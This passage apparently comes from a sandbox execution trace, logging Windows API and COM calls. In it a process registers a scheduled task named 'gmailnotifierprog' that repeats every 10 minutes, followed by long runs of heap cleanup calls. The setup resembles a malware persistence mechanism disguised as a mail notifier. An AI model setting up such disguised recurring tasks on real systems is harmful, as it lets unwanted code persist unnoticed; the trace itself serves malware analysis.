ppFolder=0x162dcecac0*=0x177ced75840) returned 0x0 [0108.855] TaskScheduler:ITaskService:NewTask (in: This=0x177ced756f0, flags=0x0, ppDefinition=0x162dceca98 | out: ppDefinition=0x162dceca98*=0x177ced758c0) returned 0x0 [0108.855] ITaskDefinition:get_Actions (in: This=0x177ced758c0, ppActions=0x162dcec9e0 | out: ppActions=0x162dcec9e0*=0x177ced75950) returned 0x0 [0108.855] IActionCollection:Create (in: This=0x177ced75950, Type=0, ppAction=0x162dceca20 | out: ppAction=0x162dceca20*=0x177ced75d60) returned 0x0 [0108.857] IUnknown:Release (This=0x177ced75d60) returned 0x1 [0108.857] IUnknown:Release (This=0x177ced75950) returned 0x1 [0108.857] ITaskDefinition:get_Triggers (in: This=0x177ced758c0, ppTriggers=0x162dcec590 | out: ppTriggers=0x162dcec590*=0x177ced75c10) returned 0x0 [0108.857] ITriggerCollection:Create (in: This=0x177ced75c10, Type=1, ppTrigger=0x162dcec578 | out: ppTrigger=0x162dcec578*=0x177ced75df0) returned 0x0 [0108.857] lstrlenW (lpString="10") returned 2 [0108.857] _vsnwprintf (in: _Buffer=0x162dcec500, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x162dcec4f8 | out: _Buffer="PT10M") returned 5 [0108.857] ITrigger:get_Repetition (in: This=0x177ced75df0, ppRepeat=0x162dcec570 | out: ppRepeat=0x162dcec570*=0x177ced75e80) returned 0x0 [0108.858] IRepetitionPattern:put_Interval (This=0x177ced75e80, Interval="PT10M") returned 0x0 [0108.858] IUnknown:Release (This=0x177ced75e80) returned 0x1 [0108.858] _vsnwprintf (in: _Buffer=0x162dcec4c0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x162dcec498 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0108.858] ITrigger:put_StartBoundary (This=0x177ced75df0, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0108.858] lstrlenW (lpString="") returned 0 [0108.858] lstrlenW (lpString="") returned 0 [0108.858] lstrlenW (lpString="") returned 0 [0108.858] lstrlenW (lpString="") returned 0 [0108.858] IUnknown:Release (This=0x177ced75df0) returned 0x1 [0108.858] IUnknown:Release (This=0x177ced75c10) returned 0x1 [0108.858] ITaskDefinition:get_Settings (in: This=0x177ced758c0, ppSettings=0x162dceca20 | out: ppSettings=0x162dceca20*=0x177ced75a90) returned 0x0 [0108.858] lstrlenW (lpString="") returned 0 [0108.858] IUnknown:Release (This=0x177ced75a90) returned 0x3 [0108.858] GetLocalTime (in: lpSystemTime=0x162dcec8d8 | out: lpSystemTime=0x162dcec8d8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x20, wMilliseconds=0xed)) [0108.858] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0108.859] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x162dcec8f0, nSize=0x162dcec8c8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x162dcec8c8) returned 0x1 [0108.859] ITaskDefinition:get_RegistrationInfo (in: This=0x177ced758c0, ppRegistrationInfo=0x162dcec8c0 | out: ppRegistrationInfo=0x162dcec8c0*=0x177ced759d0) returned 0x0 [0108.859] IRegistrationInfo:put_Author (This=0x177ced759d0, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0108.859] _vsnwprintf (in: _Buffer=0x162dcec8f0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x162dcec888 | out: _Buffer="2023-09-19T17:15:32") returned 19 [0108.860] IRegistrationInfo:put_Date (This=0x177ced759d0, Date="2023-09-19T17:15:32") returned 0x0 [0108.860] IUnknown:Release (This=0x177ced759d0) returned 0x1 [0108.860] malloc (_Size=0x18) returned 0x177ced75f00 [0108.860] free (_Block=0x177ced75f00) [0108.860] lstrlenW (lpString="") returned 0 [0108.860] malloc (_Size=0x18) returned 0x177ced75f00 [0108.860] ITaskFolder:RegisterTaskDefinition (in: This=0x177ced75840, Path="gmailnotifierprog", pDefinition=0x177ced758c0, flags=6, UserId=0x162dcecb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x162dcecb10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x162dcecb50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x162dcecaf0 | out: ppTask=0x162dcecaf0*=0x177ced76fd0) returned 0x0 [0108.966] free (_Block=0x177ced75f00) [0108.966] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.966] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0108.966] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0108.966] GetProcessHeap () returned 0x177cee70000 [0108.966] GetProcessHeap () returned 0x177cee70000 [0108.966] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7aae0) returned 1 [0108.966] GetProcessHeap () returned 0x177cee70000 [0108.967] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7aae0) returned 0xc [0108.967] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7aae0) returned 1 [0108.967] GetProcessHeap () returned 0x177cee70000 [0108.967] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x82) returned 0x177cee958a0 [0108.967] _vsnwprintf (in: _Buffer=0x162dced1a0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x162dceca38 | out: _Buffer="SUCCESS: The scheduled task \"gmailnotifierprog\" has successfully been created.\n") returned 79 [0108.967] __iob_func () returned 0x7ffa7941e210 [0108.967] _fileno (_File=0x7ffa7941e240) returned -2 [0108.967] _errno () returned 0x177ced70840 [0108.968] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0108.968] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.968] lstrlenW (lpString="SUCCESS: The scheduled task \"gmailnotifierprog\" has successfully been created.\n") returned 79 [0108.968] GetConsoleOutputCP () returned 0x0 [0108.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"gmailnotifierprog\" has successfully been created.\n", cchWideChar=79, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 79 [0108.968] GetConsoleOutputCP () returned 0x0 [0108.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"gmailnotifierprog\" has successfully been created.\n", cchWideChar=79, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"gmailnotifierprog\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 79 [0108.968] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 79 [0108.968] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0108.968] IUnknown:Release (This=0x177ced76fd0) returned 0x0 [0108.968] TaskScheduler:IUnknown:Release (This=0x177ced758c0) returned 0x0 [0108.969] TaskScheduler:IUnknown:Release (This=0x177ced75840) returned 0x0 [0108.969] TaskScheduler:IUnknown:Release (This=0x177ced756f0) returned 0x0 [0108.969] lstrlenW (lpString="") returned 0 [0108.969] lstrlenW (lpString="10") returned 2 [0108.969] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="10", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0108.969] GetProcessHeap () returned 0x177cee70000 [0108.969] GetProcessHeap () returned 0x177cee70000 [0108.969] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7ac80) returned 1 [0108.969] GetProcessHeap () returned 0x177cee70000 [0108.969] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7ac80) returned 0x1fc [0108.970] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7ac80) returned 1 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74e90) returned 1 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74e90) returned 0x6 [0108.970] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74e90) returned 1 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7a940) returned 1 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7a940) returned 0x16 [0108.970] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7a940) returned 1 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7a980) returned 1 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7a980) returned 0x18 [0108.970] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7a980) returned 1 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b830) returned 1 [0108.970] GetProcessHeap () returned 0x177cee70000 [0108.970] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b830) returned 0x20 [0108.971] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b830) returned 1 [0108.971] GetProcessHeap () returned 0x177cee70000 [0108.971] GetProcessHeap () returned 0x177cee70000 [0108.971] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee73870) returned 1 [0108.971] GetProcessHeap () returned 0x177cee70000 [0108.971] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee73870) returned 0xa0 [0108.972] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee73870) returned 1 [0108.972] GetProcessHeap () returned 0x177cee70000 [0108.972] GetProcessHeap () returned 0x177cee70000 [0108.972] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74c50) returned 1 [0108.972] GetProcessHeap () returned 0x177cee70000 [0108.972] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74c50) returned 0x18 [0108.972] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74c50) returned 1 [0108.972] GetProcessHeap () returned 0x177cee70000 [0108.972] GetProcessHeap () returned 0x177cee70000 [0108.972] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b800) returned 1 [0108.972] GetProcessHeap () returned 0x177cee70000 [0108.972] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b800) returned 0x20 [0108.972] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b800) returned 1 [0108.972] GetProcessHeap () returned 0x177cee70000 [0108.972] GetProcessHeap () returned 0x177cee70000 [0108.972] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee742d0) returned 1 [0108.972] GetProcessHeap () returned 0x177cee70000 [0108.973] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee742d0) returned 0x4a [0108.973] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee742d0) returned 1 [0108.973] GetProcessHeap () returned 0x177cee70000 [0108.973] GetProcessHeap () returned 0x177cee70000 [0108.973] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7aa40) returned 1 [0108.973] GetProcessHeap () returned 0x177cee70000 [0108.973] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7aa40) returned 0x18 [0108.973] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7aa40) returned 1 [0108.973] GetProcessHeap () returned 0x177cee70000 [0108.973] GetProcessHeap () returned 0x177cee70000 [0108.973] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b890) returned 1 [0108.973] GetProcessHeap () returned 0x177cee70000 [0108.973] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b890) returned 0x20 [0108.973] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b890) returned 1 [0108.973] GetProcessHeap () returned 0x177cee70000 [0108.973] GetProcessHeap () returned 0x177cee70000 [0108.973] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee73b40) returned 1 [0108.973] GetProcessHeap () returned 0x177cee70000 [0108.974] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee73b40) returned 0x4c [0108.974] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee73b40) returned 1 [0108.974] GetProcessHeap () returned 0x177cee70000 [0108.974] GetProcessHeap () returned 0x177cee70000 [0108.974] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7aa20) returned 1 [0108.974] GetProcessHeap () returned 0x177cee70000 [0108.974] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7aa20) returned 0x18 [0108.974] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7aa20) returned 1 [0108.974] GetProcessHeap () returned 0x177cee70000 [0108.974] GetProcessHeap () returned 0x177cee70000 [0108.974] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee78ea0) returned 1 [0108.974] GetProcessHeap () returned 0x177cee70000 [0108.974] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee78ea0) returned 0x20 [0108.974] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee78ea0) returned 1 [0108.974] GetProcessHeap () returned 0x177cee70000 [0108.974] GetProcessHeap () returned 0x177cee70000 [0108.974] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74350) returned 1 [0108.974] GetProcessHeap () returned 0x177cee70000 [0108.974] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74350) returned 0xe [0108.975] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74350) returned 1 [0108.975] GetProcessHeap () returned 0x177cee70000 [0108.975] GetProcessHeap () returned 0x177cee70000 [0108.975] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74330) returned 1 [0108.975] GetProcessHeap () returned 0x177cee70000 [0108.975] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74330) returned 0x18 [0108.975] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74330) returned 1 [0108.975] GetProcessHeap () returned 0x177cee70000 [0108.975] GetProcessHeap () returned 0x177cee70000 [0108.975] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee79170) returned 1 [0108.975] GetProcessHeap () returned 0x177cee70000 [0108.975] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee79170) returned 0x20 [0108.975] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee79170) returned 1 [0108.975] GetProcessHeap () returned 0x177cee70000 [0108.975] GetProcessHeap () returned 0x177cee70000 [0108.975] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee79b10) returned 1 [0108.975] GetProcessHeap () returned 0x177cee70000 [0108.975] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee79b10) returned 0x208 [0108.976] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee79b10) returned 1 [0108.976] GetProcessHeap () returned 0x177cee70000 [0108.976] GetProcessHeap () returned 0x177cee70000 [0108.976] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74c30) returned 1 [0108.976] GetProcessHeap () returned 0x177cee70000 [0108.976] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74c30) returned 0x18 [0108.976] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74c30) returned 1 [0108.976] GetProcessHeap () returned 0x177cee70000 [0108.976] GetProcessHeap () returned 0x177cee70000 [0108.976] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee790e0) returned 1 [0108.976] GetProcessHeap () returned 0x177cee70000 [0108.976] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee790e0) returned 0x20 [0108.976] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee790e0) returned 1 [0108.976] GetProcessHeap () returned 0x177cee70000 [0108.976] GetProcessHeap () returned 0x177cee70000 [0108.976] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7bb40) returned 1 [0108.976] GetProcessHeap () returned 0x177cee70000 [0108.976] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7bb40) returned 0x200 [0108.977] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7bb40) returned 1 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74c70) returned 1 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74c70) returned 0x18 [0108.977] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74c70) returned 1 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee78f00) returned 1 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee78f00) returned 0x20 [0108.977] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee78f00) returned 1 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee73f50) returned 1 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee73f50) returned 0x14 [0108.977] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee73f50) returned 1 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee73f30) returned 1 [0108.977] GetProcessHeap () returned 0x177cee70000 [0108.977] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee73f30) returned 0x18 [0108.978] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee73f30) returned 1 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee790b0) returned 1 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee790b0) returned 0x20 [0108.978] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee790b0) returned 1 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74260) returned 1 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74260) returned 0x16 [0108.978] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74260) returned 1 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee73ef0) returned 1 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee73ef0) returned 0x18 [0108.978] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee73ef0) returned 1 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee79080) returned 1 [0108.978] GetProcessHeap () returned 0x177cee70000 [0108.978] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee79080) returned 0x20 [0108.979] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee79080) returned 1 [0108.979] GetProcessHeap () returned 0x177cee70000 [0108.979] GetProcessHeap () returned 0x177cee70000 [0108.979] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74ed0) returned 1 [0108.979] GetProcessHeap () returned 0x177cee70000 [0108.979] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74ed0) returned 0x2 [0108.979] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74ed0) returned 1 [0108.979] GetProcessHeap () returned 0x177cee70000 [0108.979] GetProcessHeap () returned 0x177cee70000 [0108.979] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee743e0) returned 1 [0108.979] GetProcessHeap () returned 0x177cee70000 [0108.979] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee743e0) returned 0x20 [0108.979] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee743e0) returned 1 [0108.979] GetProcessHeap () returned 0x177cee70000 [0108.979] GetProcessHeap () returned 0x177cee70000 [0108.979] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74430) returned 1 [0108.979] GetProcessHeap () returned 0x177cee70000 [0108.979] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74430) returned 0x20 [0108.980] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74430) returned 1 [0108.980] GetProcessHeap () returned 0x177cee70000 [0108.980] GetProcessHeap () returned 0x177cee70000 [0108.980] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74460) returned 1 [0108.980] GetProcessHeap () returned 0x177cee70000 [0108.980] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74460) returned 0x20 [0108.980] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74460) returned 1 [0108.980] GetProcessHeap () returned 0x177cee70000 [0108.980] GetProcessHeap () returned 0x177cee70000 [0108.980] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee73fd0) returned 1 [0108.980] GetProcessHeap () returned 0x177cee70000 [0108.980] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee73fd0) returned 0x20 [0108.981] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee73fd0) returned 1 [0108.983] GetProcessHeap () returned 0x177cee70000 [0108.983] GetProcessHeap () returned 0x177cee70000 [0108.983] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b3b0) returned 1 [0108.983] GetProcessHeap () returned 0x177cee70000 [0108.984] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b3b0) returned 0x20 [0108.984] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b3b0) returned 1 [0108.984] GetProcessHeap () returned 0x177cee70000 [0108.984] GetProcessHeap () returned 0x177cee70000 [0108.984] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7ab00) returned 1 [0108.984] GetProcessHeap () returned 0x177cee70000 [0108.984] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7ab00) returned 0xe [0108.984] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7ab00) returned 1 [0108.984] GetProcessHeap () returned 0x177cee70000 [0108.984] GetProcessHeap () returned 0x177cee70000 [0108.984] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b620) returned 1 [0108.984] GetProcessHeap () returned 0x177cee70000 [0108.984] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b620) returned 0x20 [0108.984] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b620) returned 1 [0108.984] GetProcessHeap () returned 0x177cee70000 [0108.984] GetProcessHeap () returned 0x177cee70000 [0108.985] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee73920) returned 1 [0108.985] GetProcessHeap () returned 0x177cee70000 [0108.985] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee73920) returned 0x30 [0108.985] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee73920) returned 1 [0108.985] GetProcessHeap () returned 0x177cee70000 [0108.985] GetProcessHeap () returned 0x177cee70000 [0108.985] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b3e0) returned 1 [0108.985] GetProcessHeap () returned 0x177cee70000 [0108.985] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b3e0) returned 0x20 [0108.985] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b3e0) returned 1 [0108.985] GetProcessHeap () returned 0x177cee70000 [0108.985] GetProcessHeap () returned 0x177cee70000 [0108.985] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74290) returned 1 [0108.985] GetProcessHeap () returned 0x177cee70000 [0108.985] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74290) returned 0x30 [0108.986] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74290) returned 1 [0108.986] GetProcessHeap () returned 0x177cee70000 [0108.986] GetProcessHeap () returned 0x177cee70000 [0108.986] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b650) returned 1 [0108.986] GetProcessHeap () returned 0x177cee70000 [0108.986] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b650) returned 0x20 [0108.986] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b650) returned 1 [0108.986] GetProcessHeap () returned 0x177cee70000 [0108.986] GetProcessHeap () returned 0x177cee70000 [0108.986] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7aa60) returned 1 [0108.986] GetProcessHeap () returned 0x177cee70000 [0108.986] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7aa60) returned 0xe [0108.986] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7aa60) returned 1 [0108.986] GetProcessHeap () returned 0x177cee70000 [0108.986] GetProcessHeap () returned 